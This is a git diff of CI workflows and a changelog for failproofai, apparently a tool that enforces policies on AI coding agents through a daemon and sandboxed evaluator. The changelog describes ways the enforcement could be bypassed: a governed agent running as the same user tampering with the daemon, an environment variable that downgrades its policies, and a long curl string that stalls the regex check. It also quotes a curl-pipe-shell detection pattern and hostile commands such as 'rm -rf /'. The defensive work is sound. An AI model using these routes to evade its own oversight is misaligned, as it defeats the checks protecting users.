diff --git a/.github/expected-pack-files.txt b/.github/expected-pack-files.txt new file mode 100644 index 00000000..a7bc70f3 --- /dev/null +++ b/.github/expected-pack-files.txt @@ -0,0 +1,25 @@ +# Top-level entries in the tarball `npm publish` would upload, one per line. +# +# Compared by scripts/check-pack-allowlist.mjs against the first path segment +# of every file in `npm pack --dry-run --json`. Granularity is deliberate: the +# tarball has ~1,700 files, nearly all under .next/standalone/node_modules, and +# a file-level manifest would churn on every dependency bump. +# +# If this check fails, the tarball's shape changed. Decide whether that was +# intended, then regenerate with: +# +# bun run build && node scripts/check-pack-allowlist.mjs --write +# +# `.next` and `dist` are gitignored build output and only appear after a build. + +.next +LICENSE +README.md +bin +dist +lib +openclaw-plugin +package.json +pi-extension +scripts +src diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index fab7fcd7..97c5dd6b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -25,7 +25,7 @@ jobs: - uses: actions/cache@v6 with: path: ~/.bun/install/cache - key: bun-${{ runner.os }}-${{ hashFiles('bun.lockb') }} + key: bun-${{ runner.os }}-${{ hashFiles('bun.lock') }} restore-keys: bun-${{ runner.os }}- - name: Install dependencies @@ -35,31 +35,40 @@ jobs: timeout_minutes: 5 command: bun install --frozen-lockfile + # Replaces the inline shell that used to live here. That shell only ever + # looked at `packages/*/package.json` and `packages/wrapper/package.json`, + # neither of which exists in this repository, so it passed vacuously from + # the initial import onward. The script keeps those semantics and adds the + # Cargo workspace version, crate version inheritance, and a ban on npm + # lifecycle scripts (see scripts/check-versions.mjs). Unit-tested in + # __tests__/scripts/check-versions.test.ts. - name: Check version consistency + run: node scripts/check-versions.mjs + + # Tripwire on the published tarball's top-level shape, so a new directory + # can neither silently ship nor silently fail to ship. This job does not + # build, so the two gitignored build outputs (`dist`, `.next`) are skipped + # with a notice here and enforced in the `build` job below, which runs the + # same check against a real build. + - name: Check pack allowlist + run: node scripts/check-pack-allowlist.mjs + + # The sealed worker bundle is committed under crates/generated/ and + # embedded into the daemon binary with include_str!. If it drifts from + # src/policy-runtime/, the daemon evaluates policy source that no longer + # exists in the tree — a divergence that produces a *wrong verdict* + # rather than an error, and that no other test would notice. + - name: Check sealed worker bundle is current + run: bun scripts/build-sealed-bundle.ts --check + + # Same contract for the canonicalization tables, which are generated from + # src/hooks/types.ts and likewise compiled into the daemon. + - name: Check canonicalization tables are current run: | - ROOT_VERSION=$(jq -r .version package.json) - echo "Root version: $ROOT_VERSION" - MISMATCH=0 - for pkg in packages/*/package.json; do - [ -f "$pkg" ] || continue - PKG_VERSION=$(jq -r .version "$pkg") - if [ "$PKG_VERSION" != "$ROOT_VERSION" ]; then - echo "::error file=$pkg::Version mismatch: $pkg has $PKG_VERSION, expected $ROOT_VERSION" - MISMATCH=1 - fi - done - # Check optionalDependencies in wrapper - for dep_version in $(jq -r '.optionalDependencies // {} | values[]' packages/wrapper/package.json 2>/dev/null || true); do - if [ "$dep_version" != "$ROOT_VERSION" ]; then - echo "::error file=packages/wrapper/package.json::Dependency version mismatch: $dep_version, expected $ROOT_VERSION" - MISMATCH=1 - fi - done - if [ "$MISMATCH" -eq 1 ]; then - echo "::error::Version mismatch detected across package.json files" - exit 1 - fi - echo "All versions match: $ROOT_VERSION" + bun scripts/gen-canon-tables.ts + git diff --exit-code -- crates/generated/canonicalization-tables.json \ + crates/generated/enforcement-capability.json \ + || { echo "::error::crates/generated/*.json is stale. Regenerate: bun scripts/gen-canon-tables.ts"; exit 1; } - name: Lint uses: nick-fields/retry@v4 @@ -97,7 +106,7 @@ jobs: - uses: actions/cache@v6 with: path: ~/.bun/install/cache - key: bun-${{ runner.os }}-${{ hashFiles('bun.lockb') }} + key: bun-${{ runner.os }}-${{ hashFiles('bun.lock') }} restore-keys: bun-${{ runner.os }}- - name: Install dependencies @@ -107,6 +116,29 @@ jobs: timeout_minutes: 5 command: bun install --frozen-lockfile + # `dist/index.js` must exist before the unit suite runs, and this step is + # what replaced the mechanism that used to guarantee it. + # + # The custom-policy loader writes a `.__failproofai_tmp__.mjs` shim beside + # each policy file and dynamically imports it; that shim resolves the bare + # specifier `failproofai` through `findDistIndex()`, which looks for + # `dist/index.js`. Without it, every convention and custom policy fails to + # load with `Cannot find package 'failproofai'`, and four suites fail on + # empty results rather than on anything that names the cause. + # + # `"prepare": "bun run build"` used to make this true as a side effect of + # `bun install`. Removing it was correct — it was also the only thing + # populating `dist/` before `npm publish`, so a lifecycle script was + # silently load-bearing in two unrelated places. This makes the second one + # explicit, matching the `Build E2E fixtures` step the `test-e2e` job has + # had all along. + # + # Only `src/index.ts` is built, not the full `bun run build`: the unit + # suite needs the public-API bundle and nothing else, and the Next.js + # build would add minutes per matrix leg for no coverage. + - name: Build the public API bundle + run: bun build src/index.ts --outdir dist --target node --format cjs + - name: Test (${{ matrix.env-config.name }}) uses: nick-fields/retry@v4 env: ${{ matrix.env-config.env }} @@ -130,7 +162,7 @@ jobs: - uses: actions/cache@v6 with: path: ~/.bun/install/cache - key: bun-${{ runner.os }}-${{ hashFiles('bun.lockb') }} + key: bun-${{ runner.os }}-${{ hashFiles('bun.lock') }} restore-keys: bun-${{ runner.os }}- - name: Install dependencies @@ -147,6 +179,80 @@ jobs: timeout_minutes: 10 command: bun run build + # Same check the quality job runs, but against a built tree — so the + # "would NOT be published" direction is fatal here. This is what stands + # between `publish.yml` and shipping a package with an empty `dist/`. + - name: Check pack allowlist (built tree) + run: node scripts/check-pack-allowlist.mjs + + rust-quality: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7.0.1 + + # rust-toolchain.toml pins the channel and asks for rustfmt + clippy, so a + # bare `rustup toolchain install` (no argument) reads the file and installs + # exactly that. Doing it explicitly keeps the download out of the timing of + # the checks, and asserting both component versions here means a toolchain + # that installed without them fails on this step rather than several steps + # later with "no such command: `fmt`". + - name: Install pinned toolchain + run: | + set -euxo pipefail + rustup toolchain install + rustup show active-toolchain + rustc --version + cargo fmt --version + cargo clippy --version + + # Plain actions/cache rather than Swatinem/rust-cache: that action derives + # its key from `cargo metadata` plus a lockfile, and this workspace has + # zero members and therefore no Cargo.lock, which is not a case it is + # documented to handle. The requirement here is that the job be green from + # the first commit, so the cache is kept dumb. Revisit once crates exist. + - uses: actions/cache@v6 + with: + path: | + ~/.cargo/registry/index + ~/.cargo/registry/cache + ~/.cargo/git/db + target + key: cargo-${{ runner.os }}-${{ hashFiles('rust-toolchain.toml', 'Cargo.lock', 'crates/*/Cargo.toml') }} + restore-keys: cargo-${{ runner.os }}- + + # The workspace is deliberately empty for now (Stage 0 lands the plumbing + # before the first crate). Verified against cargo 1.97.1: `cargo metadata` + # succeeds on a zero-member workspace, but `cargo fmt --all` exits 1 with + # "Failed to find targets" and `cargo clippy`/`cargo test` exit 101 with + # "the manifest is virtual, and the workspace has no members". So the three + # checks are gated on a crate actually existing, and the manifest itself is + # validated unconditionally. The gate turns itself on with the first crate. + - name: Detect crates + id: crates + run: | + if ls crates/*/Cargo.toml >/dev/null 2>&1; then + echo "present=true" >> "$GITHUB_OUTPUT" + echo "Crates found — running fmt, clippy and test." + else + echo "present=false" >> "$GITHUB_OUTPUT" + echo "::notice::No crates under crates/ yet — validating the workspace manifest only." + fi + + - name: Validate workspace manifest + run: cargo metadata --no-deps --format-version 1 > /dev/null + + - name: cargo fmt + if: steps.crates.outputs.present == 'true' + run: cargo fmt --all -- --check + + - name: cargo clippy + if: steps.crates.outputs.present == 'true' + run: cargo clippy --workspace --all-targets -- -D warnings + + - name: cargo test + if: steps.crates.outputs.present == 'true' + run: cargo test --workspace + docs: runs-on: ubuntu-latest steps: @@ -159,7 +265,7 @@ jobs: - uses: actions/cache@v6 with: path: ~/.bun/install/cache - key: bun-${{ runner.os }}-${{ hashFiles('bun.lockb') }} + key: bun-${{ runner.os }}-${{ hashFiles('bun.lock') }} restore-keys: bun-${{ runner.os }}- - name: Install dependencies @@ -204,7 +310,7 @@ jobs: - uses: actions/cache@v6 with: path: ~/.bun/install/cache - key: bun-${{ runner.os }}-${{ hashFiles('bun.lockb') }} + key: bun-${{ runner.os }}-${{ hashFiles('bun.lock') }} restore-keys: bun-${{ runner.os }}- - name: Install dependencies diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml index f6adbc38..d7281455 100644 --- a/.github/workflows/publish.yml +++ b/.github/workflows/publish.yml @@ -11,6 +11,9 @@ jobs: permissions: contents: write id-token: write + env: + FAILPROOFAI_TELEMETRY_DISABLED: "1" + NEXT_TELEMETRY_DISABLED: "1" steps: # Token for the version-bot GitHub App — a bypass actor on the org-level # `failproofai-rules` ruleset (PR + 1 review required on main). The default @@ -38,7 +41,7 @@ jobs: - uses: actions/cache@v6 with: path: ~/.bun/install/cache - key: bun-${{ runner.os }}-${{ hashFiles('bun.lockb') }} + key: bun-${{ runner.os }}-${{ hashFiles('bun.lock') }} restore-keys: bun-${{ runner.os }}- - name: Install dependencies @@ -103,8 +106,38 @@ jobs: npm version "${{ steps.version.outputs.publish_version }}" --no-git-tag-version echo "Updated package.json to ${{ steps.version.outputs.publish_version }}" + # LOAD-BEARING. `dist/` and `.next/standalone/` are gitignored but sit in + # package.json's `files` allowlist, so the tarball is only non-empty + # because something built them first. That something used to be the + # `prepare` lifecycle script, which `bun install --frozen-lockfile` above + # ran implicitly; `prepare` is gone (see scripts/check-versions.mjs, which + # now fails the build if any lifecycle script comes back), so this step is + # the ONLY thing standing between this workflow and publishing an empty + # package. It runs after the version bump above because `build:cli` + # inlines package.json's `version` into dist/cli.mjs — building earlier + # would ship a binary that reports the previous version. + - name: Build publishable artifacts + uses: nick-fields/retry@v4 + with: + max_attempts: 3 + timeout_minutes: 15 + command: bun run build + + - name: Verify build output is present + run: | + set -euo pipefail + for f in dist/cli.mjs dist/index.js .next/standalone/server.js; do + if [ ! -s "$f" ]; then + echo "::error file=$f::Missing or empty after \`bun run build\` — refusing to publish an incomplete package" + exit 1 + fi + echo "ok: $f ($(wc -c < "$f") bytes)" + done + + # `--ignore-scripts` so a re-added lifecycle script can never silently + # re-enter the publish path. The build above is explicit and verified. - name: Publish - run: npm publish --provenance --tag ${{ steps.version.outputs.dist_tag }} + run: npm publish --provenance --ignore-scripts --tag ${{ steps.version.outputs.dist_tag }} env: NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} diff --git a/.github/workflows/translate-docs.yml b/.github/workflows/translate-docs.yml index ddd3dac2..17453150 100644 --- a/.github/workflows/translate-docs.yml +++ b/.github/workflows/translate-docs.yml @@ -72,7 +72,7 @@ jobs: - uses: actions/cache@v6 with: path: ~/.bun/install/cache - key: bun-${{ runner.os }}-${{ hashFiles('bun.lockb') }} + key: bun-${{ runner.os }}-${{ hashFiles('bun.lock') }} restore-keys: bun-${{ runner.os }}- - name: Install dependencies diff --git a/.gitignore b/.gitignore index e52e93d3..2503a23c 100644 --- a/.gitignore +++ b/.gitignore @@ -19,6 +19,13 @@ /build /dist +# rust +# `Cargo.lock` is deliberately NOT ignored: this workspace will hold binaries +# (failproofaid, failproofai-cli), and a binary workspace should commit its lock +# file so a release builds from the same dependency graph that CI tested. There +# are no crates yet, so cargo produces no lock file to commit. +/target + # misc .DS_Store *.pem @@ -100,3 +107,11 @@ COMMIT_MSG.tmp /canary.env /integration-suite-state.json /cli-integration-state.json + +# Scratch from scripts/bench-hook.ts. It snapshots dist/ here at startup so a +# concurrent build cannot corrupt an in-flight measurement run. +/.bench-hook-tmp/ + +# Mutual-exclusion lock held by scripts/bench-hook.ts for the duration of a +# capture. Two captures share one working directory and destroy each other. +/.bench-hook.lock diff --git a/CHANGELOG.md b/CHANGELOG.md index 4ec587f0..a3dc6098 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,50 @@ # Changelog +## 0.0.16-beta.0 — 2026-07-30 + +### Features +- Run entirely in **user scope** for v1.0.0 — a deliberate simplification for this version. No `_failproofai` service account, no privileged install, no `sudo`; the daemon runs as the invoking user and keeps state in the two roots the product already uses, `~/.failproofai/` and `~/.agenteye/`, so nothing migrates. Exactly two processes ship: the `failproofaid` daemon and the `failproofai` CLI. The removals are the point. The managed scope needed a service account, root-owned `/opt` and `/var/lib` trees, a `/run` socket directory with an ownership split, a journal-backed transactional privileged installer, and a preflight that refused machines without `sudo`. It also needed a **whole second resident process** — the per-user agent — for one reason: a service account cannot traverse `0700` homes, cannot `inotify` them, and cannot attach to a live WAL SQLite database in a user's directory, so `user-context` evaluation and session capture had to happen elsewhere and be dispatched over an outbound connection with daemon-side checkpoints. Running as the user, the daemon reads all of it directly, and the agent, the `--oneshot-user-context` continuation, and the per-UID checkpoint design go with it. And it needed a root-owned `machine.json`, because policy enablement lived in a user-writable file the agent could edit; in user scope everything is user-writable by design, so `.failproofai` in user scope is simply authoritative. **The cost, stated plainly: the `sealed` tier no longer claims verdict integrity.** That argument required the daemon to run as a UID the governed agent could not administer, and here they are the same user — it can `ptrace`, preload, or replace the binary. What the tier still buys is real and different: a warm resident evaluator instead of a fresh interpreter per event, no `.__failproofai_tmp__.mjs` written next to the user's source on every tool call (measured at 3.49 ms), a deadline a watchdog actually enforces, and a deny-by-default sandbox that contains a *buggy* policy rather than an adversary. The managed and system scopes that would restore the integrity claim remain designed and deliberately deferred. (#630) +- Land Phase 1 Stage 0 and Stage 1 of `failproofaid`: the enforcement plane now has a working privileged evaluator behind a Unix socket, off by default. Stage 0's four prerequisite refactors come first, and the order matters. **P1** splits the 39 builtins into `src/hooks/builtin/payload-only.ts` (32) and `builtin/host-access.ts` (7 — `block-work-on-main`, `warn-repeated-tool-calls`, and the five `require-*-before-stop`); this is the least visible requirement in the whole plan, because execution tiers are derived from a policy's *resolved import graph* and all 39 previously shared one module importing `child_process`, so tier derivation would have routed every builtin to `user-context` and left the sealed tier empty — an architecture that looks implemented and delivers no verdict integrity. `__tests__/hooks/builtin-tier-split.test.ts` walks the real transitive graph and fails on any host import; it was itself caught passing vacuously by mutation testing (its specifier regex used `[^;\n]` and matched none of this codebase's multi-line imports, so the walk stopped at the entry file) and now asserts the exact module set it visited. **P2** threads `home` and `projectDir` through `SessionMetadata` so `block-read-outside-cwd` and `block-rm-rf` read host context from the request rather than `os.homedir()` — load-bearing because the daemon evaluates on behalf of another UID, and because both predicates *widen* the allow set, so a wrong home whitelists the wrong tree in the direction that does not announce itself. **P3** splits `evaluatePolicies` into `evaluateVerdicts` + `encodeResponse` so the daemon can combine sealed and user-context results before encoding, with the ~12-vendor response matrix moved character-identically rather than rewritten. **P4** adds `src/hooks/request-envelope.ts`, a canonical location-independent request with explicit per-field provenance, and bounds `resolveCodexMode`'s previously unbounded line-scan of `~/.codex/sessions` to a 256 KiB head window (measured: first `turn_context` at line 8 in every real transcript sampled, 3.07 ms → 0.54 ms on a 2.7 MB file). (#630) +- Add the sealed policy runtime: the 32 payload-only builtins, the policy registry, and the full per-CLI response encoder bundled into one self-contained file (`crates/generated/sealed-worker.js`) and evaluated inside QuickJS-ng with **no bindings registered** — no `require`, no module loader, no `process`, no filesystem, no sockets. `node:path` is replaced by `src/policy-runtime/pure-path.ts`, a dependency-free port proven equivalent to `node:path.posix` differentially over 8,000+ generated cases rather than by reading the spec twice; `node:os`/`node:fs`/`node:child_process` are replaced by stubs that throw a named capability; and `hook-logger`/`hook-telemetry`/`telemetry-id` are replaced by inert no-ops, which removed a `fetch()` to PostHog from a tier the design docs require to perform no unbounded I/O. The bundle is committed and drift-gated because the daemon `include_str!`s it — "the bundle in the tree" and "the bundle the daemon runs" being different bytes is a divergence that produces a *wrong verdict* rather than an error. (#630) +- Add the warm-worker soak gate, which is the Stage-1 exit criterion that matters most. Every hook today runs in a fresh process, so the `globalThis` policy registry, the memoised policy index, and every hoisted `/g` regex start clean; a resident worker changes all of that at once and the failure mode is a wrong verdict, not a crash. `__tests__/policy-runtime/sealed-soak.test.ts` runs a 5,220-row corpus (12 CLIs × 29 events × 15 probes, every factor derived from the constants) twice through one warm context, then again shuffled, then against a **fresh context per row** — the last being the assertion that actually pins the resident worker to per-event-process semantics, since self-consistency alone is satisfied by a worker that is consistently wrong. It then asserts all 5,220 rows are byte-identical to the legacy in-process evaluator, and separately that 10,000 repeats of one `block-read-outside-cwd` evaluation never drift. (#630) +- Add three Rust crates. `fpai-ipc` carries the wire protocol: length-prefixed framing with a 1 MiB cap validated *before* allocation (asserted with a counting global allocator, so a `u32::MAX` prefix that allocated fails the test rather than exhausting the machine), the request/response envelope, `SO_PEERCRED`/`getpeereid` peer credentials, and the `deny > instruct > allow` combination lattice — 82 tests including 70,656 generated property cases proving associativity, commutativity, idempotence, that the combination equals the maximum, and that **adding any number of `user_context` results never lowers a `sealed` deny**, which is the formal statement of the entire two-tier security argument. `fpai-canon` embeds the generated canonicalization tables. `failproofaid` is the daemon: one warm sealed worker on one enforcement lane, `Ping` and `EvaluateHook`, with an interrupt handler that makes a runaway policy a deadline miss rather than a hung daemon. (#630) +- Derive `home` at the socket boundary from `getpwuid_r(peer_uid)` and **reject** a client-supplied one as a protocol error rather than overwriting it. Overwriting would make the attack a no-op but leave the protocol looking like it accepts the field, so the next client implementation and the next reviewer would both reasonably conclude supplying it is meaningful. `cwd`, `project_dir` and `env_facts` genuinely cannot be derived — `/proc//cwd` is TOCTOU-prone and unreadable on macOS for a non-matching UID — so they ride as client-asserted, and any decision that read one is reported `sealed_unattested` rather than `sealed`. That is the honest version of "unforgeable", and it is better than a claim that quietly is not true. `env_facts` is a closed set whose unknown keys are refused by name, because the hook client's environment originates in the agent's process. (#630) +- Add `src/hooks/daemon-client.ts` and its insertion into `handler.ts`. `FAILPROOFAI_DAEMON_MODE` is read on the first line of the function body, so with it unset the daemon path is genuinely dead code — asserted by a test that stands up a real socket server and checks it recorded **zero connections**. `tryDaemonEvaluate` returns `null` on any failure whatsoever (socket missing, handshake mismatch, timeout, malformed frame, oversize frame, error result, a non-empty `needs_user_context`), and the caller simply keeps executing the function it executes today. Verified across 35 failure modes, plus a cross-implementation gate that runs the real TypeScript client against the real Rust daemon and asserts byte-identical output to the legacy evaluator — the only test that catches two independent implementations of one prose spec disagreeing. (#630) +- Add the parity corpus: 5,568 fixtures across every CLI × event × decision × tool-presence × policy-count combination, generated from synthetic policies so the corpus tests the *response encoding matrix* rather than builtin logic, with `__tests__/parity/coverage.json` classifying all 348 `(cli, event)` cells and failing the build if one flips from `reachable` to `not-registered`. Both gates were mutation-checked. Classification is derived from `getIntegration(cli).eventTypes` — what `writeHookEntries` actually iterates — rather than the declared `_HOOK_EVENT_TYPES`, which differ: claude installs `CLAUDE_INSTALL_EVENT_TYPES`, so deriving from the declared list would have marked `claude/WorktreeCreate` registered when it is not. (#630) +- Generate `crates/generated/canonicalization-tables.json` and `enforcement-capability.json` from `src/hooks/types.ts` as JSON rather than `.rs`, so the "verified live against ` vX.Y.Z`" annotations stay where reviewers already look and there is no generated Rust to review. The generator found three things prose had not recorded: Copilot's `ErrorOccurred` is a vendor event with no canonical counterpart, so failproofai installs a hook no policy can ever subscribe to; Pi's event map is the only non-injective one (`tool_call` and `user_bash` both reach `PreToolUse`), so any Rust adapter assuming a bijection is wrong; and `types.ts` has no canonical tool-name list at all, so tool-map values cannot be membership-checked the way event-map values can. (#630) + +### Fixes +- Stop every deadline miss from killing the sealed worker thread. `Runtime::execute_pending_job` was called from inside `Context::with`, which holds the runtime's `SafeRef` borrow for the whole closure, so the microtask pump re-borrowed the same `RefCell` and panicked with "RefCell already borrowed"; all three call sites now use the borrow-safe `Ctx` equivalent. Reachable from ordinary input on the shipped defaults — one 80 KB Bash command, well under the 1 MiB frame cap, against the eleven default policies at the shipped 800 ms deadline. The lane died and every subsequent request returned "enforcement lane is not running", while `Ping` kept answering normally from the connection threads, so nothing would have restarted it. Enforcement itself did not break (the client treats any error as a fallback and the hook still denied), but the daemon was permanently dead and reporting healthy. Every existing deadline test missed it by construction: the panic needs the promise still pending at the deadline *and* more than one enabled policy, because with exactly one the interrupt lands in the initial call and returns cleanly — and every deadline test used a single policy. The new one uses four. (#630) +- Stop convention policies silently dropping when the daemon answers. The gate that decides whether the daemon may answer tested configuration keys — `customPoliciesPaths` and `customPoliciesPath` — but convention policies live at `.failproofai/policies/*policies.{js,mjs,ts}` and are discovered from the filesystem, so they appear in neither key. The gate saw nothing, the daemon answered with builtins alone, and the policy was dropped; `needs_user_context` could not catch it either, because the sealed worker partitions the `enabled_policies` list it was handed and a convention policy is never in that list, having self-registered at load. Reproduced end-to-end: a convention policy denying a deploy denied with the daemon off and allowed with it on. It hits user scope too, so a single file in `~/.failproofai/policies/` stopped enforcing in every project on the machine. Same class as the `enabled_policies` defect fixed earlier on this branch, one layer up. (#630) +- Decline the daemon when `policyParams` are configured, because they never reached it. `EvaluateHook` carries no field for them, so every parameterised policy evaluated with schema defaults — `protectedBranches: [main, master, release]` denies `git push origin release` with the daemon off and allows it with the daemon on. Sixteen of the 32 sealed-eligible builtins take params, and it fails in both directions: `allowPaths` and `allowPatterns` over-block, `additionalPatterns` and `thresholdKb` under-block. It also broke the byte-equality claim, since this repository's own `policyParams.hint` was dropped from the response. Putting params on the wire is the real fix; declining the daemon is correct in the meantime rather than merely safe. (#630) +- Replace the daemon-gate guard, which was a source grep and the fifth test on this branch that asserted nothing. It checked that `handler.ts` contained the string `hasCustomPolicies` and matched a regex on the ternary — true of a gate covering everything and equally true of one covering nothing, and green throughout the convention-policy bug above. `__tests__/hooks/handler-gate.test.ts` now builds real projects on disk: a bare one, an empty policies directory, a non-matching filename, all three convention spellings, a nested cwd whose policy lives in a parent, and a missing cwd. The structural half that a behavioural test cannot see — that the handler consults the gate at all — is kept and mutation-verified. (#630) +- Build `dist/index.js` in CI's `test` job, which removing the `prepare` lifecycle script silently broke. The custom-policy loader writes a `.__failproofai_tmp__.mjs` shim beside each policy file and dynamically imports it; that shim resolves the bare specifier `failproofai` through `findDistIndex()`, which needs `dist/index.js`. `"prepare": "bun run build"` used to create it as a side effect of `bun install` — so one lifecycle script was load-bearing in two entirely unrelated places, and removing it for the publish reason took the test job's dependency with it. Four convention- and custom-policy suites then failed on empty results (`expected [] to have a length of 1`) rather than on anything naming the cause; only the CI log carried the real error, `Cannot find package 'failproofai'`. It reproduced nowhere locally, because a developer machine that has ever run `bun link` resolves the bare specifier through `node_modules` instead — which is also why the fix had to come from reading CI's log rather than from another local run. `test-e2e` has had an explicit build step all along, which is why it stayed green throughout. (#630) +- Refuse a connection whose peer UID is not the daemon's own. `serve_connection` read peer credentials and used the UID only to derive `home`, while `crates/PROTOCOL.md` described peer credentials as a check that keeps other users out. It was not one: a peer of any UID was served, with *their* home derived, and the only thing actually excluding a stranger was the socket's file mode. The check was documented before it existed — the same class of defect as a test that asserts nothing, in a sentence a reader would take as a security property. `fpai_ipc::current_uid()` now backs a real comparison. This is defence in depth rather than redundancy: `0600` on the socket and `0700` on its directory are sufficient on a correctly-created install, but they are filesystem state and filesystem state drifts, whereas two integers from the kernel do not. Both a negative and a positive test, because a check that refused *everyone* would satisfy every negative assertion in that file while the daemon answered nothing. (#630) +- Make `failproofaid` actually start in user scope, and check that the two implementations agree about where it starts. Three things were wrong, all of them consequences of dropping the privileged installer rather than of any one edit. `Daemon::bind` never created the socket's parent directory, because under the managed design a transactional installer laid down `/run/failproofai` before the service ever ran — so with that gone, a first start on any machine failed `ENOENT` on `~/.failproofai/run/` (and on `$XDG_RUNTIME_DIR/failproofai/`, which the runtime directory does not contain either); it now creates it, at `0700`. The socket was `0660`, a mode that existed so enrolled users could reach a service account's socket through a shared group; in user scope the group is the invoking user's primary group, which on several distributions contains other people, so it is `0600`. And `--help` / `--version` exited 2 whenever neither `$XDG_RUNTIME_DIR` nor `$HOME` was set — the daemon resolved its socket before parsing arguments, so the one command that would explain the problem refused to run, and the help text's own `` arm was unreachable. Arguments are parsed first now. Behind all three is the failure mode that does not announce itself: a client and a daemon that disagree about a path do not error, the client finds no socket, `tryDaemonEvaluate` returns `null`, and every hook silently takes the legacy path forever while the daemon sits idle and healthy. So `daemon-client.ts` now mirrors `paths.rs` function for function — a pure `socketPath(explicit, runtimeDir, home)` resolver plus a thin environment-reading wrapper — and `__tests__/hooks/daemon-paths.test.ts` checks the two against each other in two legs: one that parses the components and environment-variable names out of `paths.rs` (unconditional, so a `bun run test:run` on a machine that has never run `cargo` still catches drift) and one that drives the built binary's `--help` through the same cases with a constructed environment (the stronger check, since it tests the artifact rather than a transcription of it, but conditional on the binary existing). Both legs cover the override, `$XDG_RUNTIME_DIR`, the `~/.failproofai/run/` fallback, and an exported-but-empty `$XDG_RUNTIME_DIR`, which must read as unset rather than as the filesystem root. (#630) +- Make the daemon's enforcement deadline actually enforceable. The interrupt flag that turns a runaway policy into a deadline miss was only ever set from inside the microtask pump loop — and a policy body is synchronous JavaScript, so the pump gets no turn until the call returns. There was no watchdog, so any single policy that outran its deadline blocked the one enforcement lane permanently. Not hypothetical: `block-curl-pipe-sh` is default-enabled and sealed, and its `/(?:curl|wget)\s.*\|\s*(?:sh|bash|…)\b/` backtracks quadratically on `"curl ".repeat(n)`. Measured against a 200 ms deadline with no watchdog, 40 KB of command took 7.1 s and 80 KB took 30 s, both returning success and never `DeadlineExceeded`; the frame cap is 1 MiB, so a *legal* request extrapolates past an hour. Against the live daemon, one 200 KB request left every subsequent client on the machine falling back for the rest of the process's life. `protect-env-vars` and `block-failproofai-commands` have the same regex shape and are also default-enabled. A long-lived watchdog thread now arms before entering QuickJS and disarms after, and both catch sites distinguish an interrupt from a genuine evaluation failure so a merely slow policy does not trip its circuit breaker. The previous test for this armed the interrupt *before* calling `eval`, which proves the handler works and says nothing about whether anything arms it — the replacement does not pre-arm. (#630) +- Stop the daemon's connection threads parking forever. Each waited on a bare `recv()` for a worker reply, but the client gives up at its own 800 ms budget and falls back, so the thread stayed blocked for an answer nobody would read — one leaked thread per hook event, unbounded. Because `serve()` propagates a failed `accept` or `spawn`, the first `EMFILE`/`EAGAIN` returned an error out of the listener and the process exited, escalating "no daemon answers" into "the daemon is gone". Now `recv_timeout`, bounded by the request's own deadline plus a lane-queue grace. (#630) +- Stop the daemon enforcing a policy set the user never configured. `handle_evaluate` hardcoded the 11 `defaultEnabled` builtins and ignored the client's resolved set entirely. Reproduced against this repository's own `.failproofai/policies-config.json`, which enables 30: `rm -rf /` returned **allow** from the daemon against **deny** from the legacy evaluator, as did `cat /etc/passwd` — 19 of 30 enabled builtins plus 100% of custom and convention policies stopped enforcing the moment the daemon answered. The documented safety net could not fire, because the sealed worker computes `needsUserContext` by partitioning the list *it was handed* and a daemon-supplied list is all-sealed by construction, so it was permanently empty. And since `FAILPROOFAI_DAEMON_MODE` is read from the hook process's environment, which the governed agent inherits, an agent could have set one variable to downgrade itself to eleven policies. `EvaluateHook` now carries `enabled_policies` and the daemon evaluates that; an empty list is refused rather than treated as "enforce nothing" or backfilled with defaults, since the first turns a client bug into a silent allow and the second reinstates the defect. `handler.ts` reads config before the daemon call and skips the daemon outright when custom policies are configured, because those can never be sealed-eligible and enforcing a subset would be worse than not using the daemon at all. The expensive half of the legacy work — `loadAllCustomHooks` and the temp files it writes next to the user's source on every tool call — still runs only on the fallback path. (#630) +- Correct a protocol claim that was never true. `crates/PROTOCOL.md` stated the daemon re-derived canonicalization with `fpai-canon` and rejected a mismatch as `canonicalization_mismatch`. It did not, and it is not implementable from this envelope: re-deriving needs the raw vendor payload and only the canonicalized one is sent. Believing the claim was worse than not making it — a reviewer would reasonably assume something was catching a hostile or buggy client. The document now says what is true, states plainly that the exposure is bounded (the client runs as the user whose events these are, and the one field that would be dangerous to accept is `home`, which the daemon derives itself), and defers the check to Stage 2 where canonicalization moves daemon-side. The unused `fpai-canon` dependency is dropped so the crate graph stops implying otherwise. (#630) +- Withdraw the cold-start latency baseline committed alongside Stage 0, and make the harness's own integrity gate non-vacuous. The first capture was corrupt: a concurrent build rewrote the gitignored `dist/` the harness was reading live, 27,345 of 36,888 iterations failed, and the script wrote the artifact anyway — a biased survivor set presented as a measurement. The guard added in response was itself unsound, and the regenerated artifact proved it, reading `failedIterations: 636` beside `failureRate: 0` from a run that exited 0 (636 of 37,524 is 1.69%, well past the 1% threshold). The rate was computed once, *before* the calibration and repeatability phases, which run below that point and share the same counters — so the guard saw a clean matrix, passed, and the later phases then failed 636 times while the rate stayed frozen. The rate is now a function of the live counters, recomputed at write time and re-checked after every phase; the early check stays so a doomed run still fails fast. A second gate refuses to write when the repeatability probe produced no rows, since its zeros otherwise render as "no run-to-run drift observed" when the truth is that nothing was observed. `dist/` is snapshotted at startup so a concurrent build cannot reach an in-flight run. Finally, the actual cause of three of the four failed captures — misdiagnosed twice before it surfaced — was two instances of the script running at once: they share one working directory, so the second one's bundle build rewrites the first one's harness mid-flight and the first dies on a replaced worker. An exclusive lockfile now refuses a second capture by name and pid, takes over a lock whose holder is no longer alive, and is acquired *before* the exit handler is registered — otherwise a refused run deletes the working directory of the run it just deferred to, which is how one of the captures died. No baseline artifact is committed — the harness is the deliverable and the number needs one clean capture. (#630) +- Clear the 10-second timeout handle `handler.ts` arms around every custom hook. A hook that simply returned left the timer pending, and a pending timer keeps Node's event loop alive — invisible today only because `bin/failproofai.mjs` calls `process.exit()` the moment `handleHookEvent` returns. It stops being invisible in any process that outlives one event: a bench harness that re-enacted the handler's call sequence without the hard exit measured a 10,088 ms p95 for hooks that had already decided in under a millisecond, which is exactly what the resident sealed worker and the per-user agent will be. (#630) +- Stop `npm publish` depending on a lifecycle script to produce the package it uploads. `dist/` and `.next/standalone/` are gitignored but sit in package.json's `files` allowlist, so the tarball was only ever non-empty because `bun install --frozen-lockfile` implicitly ran `"prepare": "bun run build"` — `publish.yml` had no build step of its own, and removing `prepare` on its own 